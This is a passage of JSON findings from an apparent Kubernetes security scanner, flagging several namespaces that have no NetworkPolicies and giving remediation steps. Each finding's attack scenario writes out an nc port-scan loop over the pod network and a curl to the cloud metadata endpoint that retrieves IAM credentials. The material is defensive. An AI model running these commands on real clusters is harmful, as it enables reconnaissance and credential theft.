        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:default",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `default` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `default` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "default",
      "namespace": "default"
    },
    "namespace": "default",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `default`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `default` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "default"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `default`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `default`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n default --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:flux-system",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `flux-system` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `flux-system` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "flux-system",
      "namespace": "flux-system"
    },
    "namespace": "flux-system",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `flux-system`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `flux-system` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "flux-system"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `flux-system`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `flux-system`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n flux-system --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:foothold-exec",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `foothold-exec` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `foothold-exec` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "foothold-exec",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-exec`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `foothold-exec` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "foothold-exec"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `foothold-exec`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `foothold-exec`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n foothold-exec --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:foothold-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `foothold-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `foothold-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "foothold-fixtures",
      "namespace": "foothold-fixtures"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `foothold-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "foothold-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `foothold-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `foothold-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n foothold-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:foothold-ops",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `foothold-ops` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `foothold-ops` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "foothold-ops",
      "namespace": "foothold-ops"
    },
    "namespace": "foothold-ops",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-ops`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `foothold-ops` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "foothold-ops"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `foothold-ops`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `foothold-ops`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n foothold-ops --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:gw-groups",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `gw-groups` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `gw-groups` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "gw-groups",
      "namespace": "gw-groups"
    },
    "namespace": "gw-groups",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `gw-groups`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `gw-groups` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "gw-groups"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `gw-groups`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
